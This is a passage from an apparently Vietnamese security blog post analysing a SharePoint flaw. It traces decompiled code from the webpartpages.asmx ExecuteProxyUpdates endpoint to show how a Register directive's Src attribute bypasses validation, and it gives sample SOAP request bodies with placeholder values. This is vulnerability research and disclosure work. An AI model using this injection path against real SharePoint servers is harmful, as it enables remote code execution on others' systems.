https://substackcdn.com/image/fetch/$s_!np7J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 1272w, https://substackcdn.com/image/fetch/$s_!np7J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!np7J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png" width="822" height="706" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:706,&quot;width&quot;:822,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!np7J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 424w, https://substackcdn.com/image/fetch/$s_!np7J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 848w, https://substackcdn.com/image/fetch/$s_!np7J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 1272w, https://substackcdn.com/image/fetch/$s_!np7J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ptrb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ptrb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 424w, https://substackcdn.com/image/fetch/$s_!Ptrb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 848w, https://substackcdn.com/image/fetch/$s_!Ptrb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 1272w, https://substackcdn.com/image/fetch/$s_!Ptrb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ptrb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png" width="846" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:846,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ptrb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 424w, https://substackcdn.com/image/fetch/$s_!Ptrb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 848w, https://substackcdn.com/image/fetch/$s_!Ptrb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 1272w, https://substackcdn.com/image/fetch/$s_!Ptrb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad4213c7-2cb8-4c43-bf0d-cf03d3ea8ee3_846x430.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#272;&#225;ng ch&#250; &#253; attribute <code>Src</code> b&#7883; filter c&#225;c k&#237; t&#7921; &#273;&#432;&#7907;c d&#249;ng cho register directives c&#249;ng c&#225;c k&#237; t&#7921; hay &#273;&#432;&#7907;c d&#249;ng cho vi&#7879;c escape string.</p><p>L&#250;c n&#224;y m&#236;nh &#273;o&#225;n ch&#7855;c l&#224; injection point n&#7857;m &#7903; &#273;&#226;u &#273;&#243; trong &#273;&#7889;ng attribute n&#224;y n&#234;n trace ng&#432;&#7907;c l&#7841;i <code>ProxyUpdateExecutor</code> c&#243; access &#273;&#432;&#7907;c t&#7915; user input kh&#244;ng.</p><p>Trace m&#7897;t h&#7891;i th&#236; th&#7845;y c&#243; <code>WebPartPagesWebServices.ExecuteProxyUpdates()</code> l&#224; c&#243; th&#7875; reach &#273;&#432;&#7907;c, &#273;&#226;y l&#224; m&#7897;t soap endpoint &#273;&#432;&#7907;c Sharepoint expose t&#7841;i <code>/_vti_bin/webpartpages.asmx</code>:</p><pre><code><code>[WebMethod]
public string ExecuteProxyUpdates(string updateData)
{
&#9;this.EnsureUserIsAuthenticated();
&#9;SPWeb spweb = this.CreateWeb();
&#9;if (spweb.DoesUserHavePermissions(SPBasePermissions.ManageLists))
&#9;{
&#9;&#9;try
&#9;&#9;{
&#9;&#9;&#9;if (string.IsNullOrEmpty(updateData))
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;throw new ArgumentException();
&#9;&#9;&#9;}
&#9;&#9;&#9;ServerWebApplication serverWebApplication = new ServerWebApplication(spweb);
&#9;&#9;&#9;if (SPContext.Current != null)
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;SPContext.Current.SetDesignTimeContext(spweb, null, true);
&#9;&#9;&#9;}
&#9;&#9;&#9;StringBuilder stringBuilder = new StringBuilder();
&#9;&#9;&#9;string text = null;
&#9;&#9;&#9;using (StringWriter stringWriter = new StringWriter(stringBuilder, CultureInfo.InvariantCulture))
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;bool flag = !SPFarm.CheckFlag(ServerDebugFlags.DisableServerSideIncludes);
&#9;&#9;&#9;&#9;string text2 = SPHttpUtility.HtmlDecode(updateData);
&#9;&#9;&#9;&#9;string text3 = SPHttpUtility.HtmlDecode(text2);
&#9;&#9;&#9;&#9;if (string.Compare(text2, text3, StringComparison.OrdinalIgnoreCase) != 0)
&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;throw new FormatException("Data contained multiple levels of encoding");
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;EditingPageParser.VerifyControlOnSafeList(text2, null, spweb, flag, true);
&#9;&#9;&#9;&#9;ProxyUpdateExecutor.Execute(updateData, stringWriter, serverWebApplication);
&#9;&#9;&#9;&#9;text = stringWriter.ToString();
&#9;&#9;&#9;}
&#9;&#9;&#9;if (SPContext.Current != null)
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;SPContext.Current.UnSetDesignTimeContext();
&#9;&#9;&#9;}
&#9;&#9;&#9;return text;
&#9;&#9;}
&#9;&#9;catch (Exception ex)
&#9;&#9;{
&#9;&#9;&#9;throw this.HandleException(ex);
&#9;&#9;}
&#9;}
&#9;throw SoapServerException.MakeSoapException(null, WebPartPagesWebService.WebPartPagesWebServicePermissionDenied);
}
</code></code></pre><p>Sau khi search internet th&#236; m&#236;nh ph&#225;t hi&#7879;n &#273;&#226;y c&#361;ng t&#7915;ng l&#224; entrypoint cho bug <a href="https://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict">c&#361;</a>.</p><p>Input truy&#7873;n v&#224;o c&#243; d&#7841;ng nh&#432; sau:</p><pre><code><code>&lt;updateData&gt;
&lt;![CDATA[&lt;UpdateTransaction&gt;&lt;Update Type="Document"&gt;&lt;Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"&gt;&lt;Control
  UpdateID="1" TagName="asp:Label" OuterHtml="&amp;lt;asp:Label ID=&amp;quot;L1&amp;quot; Text=&amp;quot;safe&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;" NeedsPreview="true"
/&gt;&lt;/Document&gt;&lt;Actions/&gt;&lt;/Update&gt;&lt;/UpdateTransaction&gt;]]&gt;&lt;/updateData&gt;
</code></code></pre><p>input sau &#273;&#243; s&#7869; &#273;&#432;&#7907;c check xem c&#243; k&#237; t&#7921; html v&#224; c&#243; control trong SafeControls kh&#244;ng r&#7891;i g&#7885;i ti&#7871;p t&#7899;i <code>ProxyUpdateExecutor.Execute()</code> -&gt; <code>XmlInterpretter.ParseXmlLoop()</code> -&gt; <code>XmlInterpretter.DoneReadingAttributes()</code> -&gt; <code>ProxyUpdateExecutor.ControlContext.DoneReadingAttributes()</code> &#273;&#7875; parse attributes v&#224;o Register Directive</p><pre><code><code>internal override void DoneReadingAttributes()
{
&#9;if (!this._markup.Validate())  // [1]
&#9;{
&#9;&#9;base.ThrowError(SR.GetString(SR.Ids.RemoteClientRequestRequestError, CultureInfo.CurrentUICulture));
&#9;}
&#9;if (this._region == null)
&#9;{
&#9;&#9;this._element = ((IServerDocumentDesigner)this._document).CreateElementDesigner(this._markup, this._forceUseDesigner) as ServerElement;   // [2]
&#9;}
&#9;else
&#9;{
&#9;&#9;this._element = ((IServerDocumentDesigner)this._document).CreateNestedElementDesigner(this._markup, this._region.ParentElement, this._region.RegionIndex, this._forceUseDesigner) as ServerElement;
&#9;}
&#9;if (!this._needsPreview)
&#9;{
&#9;&#9;this._element.ForgetDesignTimeHtml();
&#9;}
&#9;if (this._element == null)
&#9;{
&#9;&#9;base.SkipElement();
&#9;}
}
</code></code></pre><p>T&#7841;i [1] ki&#7875;m tra markup t&#7913;c tag Control truy&#7873;n v&#224;o c&#243; &#273;&#7911; attr kh&#244;ng:</p><pre><code><code>internal bool Validate()
{
&#9;return this._updateId != null &amp;&amp; this._outerHtml != null &amp;&amp; this._tagName != null;
}
</code></code></pre><p>Sau &#273;&#243; [2] g&#7885;i t&#7899;i <code>ServerDocument.CreateElementDesigner()</code> -&gt; <code>ServerDocument.CreateNestedElementDesignerCore()</code> v&#224; initialize c&#225;c elements:</p><pre><code><code>internal void Initialize(bool blockPropertyTraversal = false)
{
&#9;// REDACTED
&#9;&#9;}
&#9;&#9;if (this._markup is InstanceMarkup)
&#9;&#9;{
&#9;&#9;&#9;// REDACTED
&#9;&#9;}
&#9;&#9;else
&#9;&#9;{
&#9;&#9;&#9;this.Document.CheckMarkupForSafeControls(((IWebElement)this).GetOuterHtml(), blockPropertyTraversal);     // [3]
&#9;&#9;&#9;this._designer = this.Document.Designer.CreateElementDesigner(this, 0, null, null);  // [4]
&#9;&#9;&#9;if (this._designer != null &amp;&amp; this._designer.GetControl() is UserControl)
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;this._designer.OnUserControlLoadComplete();
&#9;&#9;&#9;}
&#9;&#9;}
&#9;}
&#9;catch (Exception ex)
&#9;{
&#9;&#9;this._errorMessage = ex.Message;
&#9;}
&#9;finally
&#9;{
&#9;&#9;if (this._forceUseDesigner)
&#9;&#9;{
&#9;&#9;&#9;this.Document.BlockUseDesignTimeHtmlProvider = false;
&#9;&#9;}
&#9;}
}
</code></code></pre><p>T&#7841;i [3] s&#7869; check Controls truy&#7873;n v&#224;o c&#243; thu&#7897;c SafeControls list kh&#244;ng, t&#7841;i &#273;&#226;y s&#7869; g&#7885;i ti&#7871;p t&#7899;i <code>EditingPageParser.VerifyControlOnSafeList()</code> &#273;&#7875; th&#7921;c hi&#7879;n logic check tr&#234;n. C&#7909; th&#7875; nh&#432; sau:</p><pre><code><code>internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false, bool blockPropertyTraversal = false)
{
&#9;Hashtable hashtable = new Hashtable(StringComparer.InvariantCultureIgnoreCase);
&#9;Hashtable hashtable2 = new Hashtable();
&#9;List&lt;string&gt; list = new List&lt;string&gt;();
&#9;EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);   // [5]
&#9;EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list, blockPropertyTraversal);
</code></code></pre><p>T&#7841;i [5] s&#7869; populate register table b&#7857;ng c&#225;ch &#273;&#7885;c c&#225;c directives c&#243; trong RegisterDirectiveManager, t&#7913;c ch&#237;nh l&#224; tag <code>&lt;Register&gt;</code> &#273;&#432;&#7907;c truy&#7873;n t&#7915; input n&#7871;u c&#243;.</p><p>T&#7841;i [6] ti&#7871;p t&#7909;c parse dscXml t&#7913;c <code>OuterHtml</code> &#273;&#432;&#7907;c truy&#7873;n t&#7915; input &#273;&#7875; l&#7845;y inline register directives <code>&lt;%@ Register %&gt;</code>.</p><pre><code><code>// EditingPageParser.VerifyControlOnSafeList()
foreach (object obj in hashtable.Values)
{
&#9;ArrayList arrayList = (ArrayList)obj;
&#9;foreach (object obj2 in arrayList)
&#9;{
&#9;&#9;Triplet triplet = (Triplet)obj2;
&#9;&#9;if (string.IsNullOrEmpty((string)triplet.Third)) // [7]
&#9;&#9;{
&#9;&#9;&#9;string text = (string)triplet.Second;
&#9;&#9;&#9;string text2 = (string)triplet.First;
&#9;&#9;&#9;if (!EditingPageParser.IsAssemblyNamespaceValid(text, text2))  // [8]
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;ULS.SendTraceTag(504656268U, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Unexpected, "Register directive(s) contains invalid values");
&#9;&#9;&#9;&#9;throw new SafeControls.UnsafeControlException(SPResource.GetString("UnsafeControlReasonTypeMarkedUnsafe", new object[0]));
&#9;&#9;&#9;}
&#9;&#9;}
&#9;}
}
</code></code></pre><p>Ti&#7871;p theo s&#7869; ti&#7871;n h&#224;nh validate c&#225;c register directives l&#7845;y &#273;&#432;&#7907;c t&#7915; [5] b&#7857;ng c&#225;ch duy&#7879;t h&#7871;t value c&#7911;a ch&#250;ng <code>Triplet(namespace, assembly, src)</code>. T&#7841;i [7] n&#7871;u triplet.Third null t&#7913;c kh&#244;ng c&#243; <code>src</code> th&#236; [8] s&#7869; ti&#7871;n h&#224;nh check <code>namespace</code> v&#224; <code>assembly</code> c&#243; c&#225;c k&#237; t&#7921; kh&#244;ng h&#7907;p l&#7879; kh&#244;ng. N&#7871;u t&#7891;n t&#7841;i <code>src</code> s&#7869; ignore ch&#7895; n&#224;y.</p><p>Phase c&#242;n l&#7841;i s&#7869; validate t&#7915;ng control &#273;&#432;&#7907;c t&#236;m th&#7845;y trong <code>OuterHtml</code>, ch&#7895; n&#224;y m&#236;nh s&#7869; kh&#244;ng gi&#7843;i th&#237;ch chi ti&#7871;t n&#7919;a b&#7841;n &#273;&#7885;c c&#243; th&#7875; t&#7921; debug th&#234;m ch&#7895; n&#224;y &#273;&#7875; hi&#7875;u r&#245; h&#417;n. L&#432;u &#253; r&#7857;ng phase n&#224;y s&#7869; ch&#7881; validate attribute <code>OuterHtml</code>.</p><p>Sau khi &#273;&#432;&#7907;c verify, code ti&#7871;p t&#7909;c g&#7885;i t&#7899;i <code>DocumentDesigner.CreateElementDesigner()</code> -&gt; <code>ControlParser.ParseControl()</code> -&gt; <code>ControlSerializer.DeserializeControlInternal()</code> &#273;&#7875; ti&#7871;n h&#224;nh parse control.</p><pre><code><code>internal static Control DeserializeControlInternal(string text, IDesignerHost host, bool applyTheme)
{
&#9;if (host == null)
&#9;{
&#9;&#9;throw new ArgumentNullException("host");
&#9;}
&#9;if (text == null || text.Length == 0)
&#9;{
&#9;&#9;throw new ArgumentNullException("text");
&#9;}
&#9;string directives = ControlSerializer.GetDirectives(host);   // [9]
&#9;if (directives != null &amp;&amp; directives.Length &gt; 0)
&#9;{
&#9;&#9;text = directives + text;  // [10]
&#9;}
&#9;DesignTimeParseData designTimeParseData = new DesignTimeParseData(host, text, ControlSerializer.GetCurrentFilter(host));
&#9;designTimeParseData.ShouldApplyTheme = applyTheme;
&#9;designTimeParseData.DataBindingHandler = GlobalDataBindingHandler.Handler;
&#9;Control control = null;
&#9;Type typeFromHandle = typeof(LicenseManager);
&#9;lock (typeFromHandle)
&#9;{
&#9;&#9;LicenseContext currentContext = LicenseManager.CurrentContext;
&#9;&#9;bool flag2 = false;
&#9;&#9;try
&#9;&#9;{
&#9;&#9;&#9;if (!ControlSerializer.licenseManagerLockHeld)
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;LicenseManager.CurrentContext = new ControlSerializer.WebFormsDesigntimeLicenseContext(host);
&#9;&#9;&#9;&#9;LicenseManager.LockContext(ControlSerializer.licenseManagerLock);
&#9;&#9;&#9;&#9;ControlSerializer.licenseManagerLockHeld = true;
&#9;&#9;&#9;&#9;flag2 = true;
&#9;&#9;&#9;}
&#9;&#9;&#9;control = DesignTimeTemplateParser.ParseControl(designTimeParseData);  // [11]
&#9;&#9;}
&#9;&#9;catch (TargetInvocationException ex)
&#9;&#9;{
&#9;&#9;&#9;throw ex.InnerException;
&#9;&#9;}
&#9;&#9;finally
&#9;&#9;{
&#9;&#9;&#9;if (flag2)
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;LicenseManager.UnlockContext(ControlSerializer.licenseManagerLock);
&#9;&#9;&#9;&#9;LicenseManager.CurrentContext = currentContext;
&#9;&#9;&#9;&#9;ControlSerializer.licenseManagerLockHeld = false;
&#9;&#9;&#9;}
&#9;&#9;}
&#9;}
&#9;return control;
}
</code></code></pre><p>Logic ch&#7895; n&#224;y th&#236; &#273;&#227; qu&#225; r&#245; r&#224;ng r&#7891;i, t&#7841;i [9] s&#7869; l&#7845;y register directive r&#7891;i n&#7889;i chu&#7895;i v&#7899;i <code>OuterHtml</code> &#273;&#7875; t&#7841;o th&#224;nh template ho&#224;n ch&#7881;nh. R&#7891;i cu&#7889;i c&#249;ng [11] g&#7885;i t&#7899;i <code>TemplateParser.ParseControl()</code>, t&#7915; &#273;&#226;y m&#7885;i th&#7913; &#273;&#227; &#273;&#432;&#7907;c CodeWhite ph&#226;n t&#237;ch r&#7845;t chi ti&#7871;t r&#7891;i m&#236;nh xin ph&#233;p kh&#244;ng ph&#226;n t&#237;ch l&#7841;i n&#7919;a.</p><p>Nh&#432; Code White &#273;&#227; ph&#226;n t&#237;ch th&#236; t&#7915; &#273;&#226;y ta c&#243; th&#7875; declare &#273;&#432;&#7907;c custom control b&#7857;ng m&#7897;t arbitrary type b&#7857;ng c&#225;ch s&#7917; d&#7909;ng register directive. Ta c&#249;ng quay l&#7841;i [9] &#273;&#7875; xem register directive &#273;&#432;&#7907;c l&#7845;y nh&#432; n&#224;o t&#7915; input.</p><p>T&#7915; <code>ControlSerializer.GetDirectives()</code> -&gt; <code>RegisterDirective.GetHtml()</code>:</p><pre><code><code>public void GetHtml(TextWriter sw, bool includeCodeAssembly)
{
&#9;sw.Write("&lt;%@ Register");
&#9;string tagPrefix = this.TagPrefix;
&#9;if (tagPrefix != null &amp;&amp; tagPrefix.Length &gt; 0)
&#9;{
&#9;&#9;sw.Write(" TagPrefix=\"");
&#9;&#9;sw.Write(tagPrefix);
&#9;&#9;sw.Write("\"");
&#9;}
&#9;string tagName = this.TagName;
&#9;if (tagName != null &amp;&amp; tagName.Length &gt; 0)
&#9;{
&#9;&#9;sw.Write(" TagName=\"");
&#9;&#9;sw.Write(tagName);
&#9;&#9;sw.Write("\"");
&#9;}
&#9;string @namespace = this.Namespace;
&#9;if (@namespace != null &amp;&amp; @namespace.Length &gt; 0)
&#9;{
&#9;&#9;sw.Write(" Namespace=\"");
&#9;&#9;sw.Write(@namespace);
&#9;&#9;sw.Write("\"");
&#9;}
&#9;string assembly = this.Assembly;
&#9;if (assembly != null &amp;&amp; assembly.Length &gt; 0)
&#9;{
&#9;&#9;sw.Write(" Assembly=\"");
&#9;&#9;sw.Write(assembly);
&#9;&#9;sw.Write("\"");
&#9;}
&#9;else if (includeCodeAssembly &amp;&amp; this.IsCustomControl)
&#9;{
&#9;&#9;sw.Write(" Assembly=\"__code\"");
&#9;}
&#9;string src = this.Src;
&#9;if (src != null &amp;&amp; src.Length &gt; 0)
&#9;{
&#9;&#9;sw.Write(" Src=\"");
&#9;&#9;sw.Write(src);
&#9;&#9;sw.Write("\"");
&#9;}
&#9;sw.Write(" %&gt;");
}
</code></code></pre><p>Register Directive cho template s&#7869; &#273;&#432;&#7907;c t&#7841;o b&#7857;ng c&#225;ch append c&#225;c value ta truy&#7873;n v&#224;o t&#7915; input.</p><p>V&#237; d&#7909;:</p><pre><code><code>&lt;updateData&gt;&lt;![CDATA[&lt;UpdateTransaction&gt;&lt;Update Type="Document"&gt;&lt;Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"&gt;&lt;Register TagPrefix='x' TagName='y'
  Src='z'  /&gt;&lt;Control
  UpdateID="1" TagName="asp:Label" OuterHtml="&amp;lt;asp:Label ID=&amp;quot;L1&amp;quot; Text=&amp;quot;safe&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;" NeedsPreview="true"
  /&gt;&lt;/Document&gt;&lt;Actions/&gt;&lt;/Update&gt;&lt;/UpdateTransaction&gt;]]&gt;&lt;/updateData&gt;
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wFkT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wFkT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 424w, https://substackcdn.com/image/fetch/$s_!wFkT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 848w, https://substackcdn.com/image/fetch/$s_!wFkT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 1272w, https://substackcdn.com/image/fetch/$s_!wFkT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wFkT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png" width="788" height="356" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/afb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:356,&quot;width&quot;:788,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wFkT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 424w, https://substackcdn.com/image/fetch/$s_!wFkT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 848w, 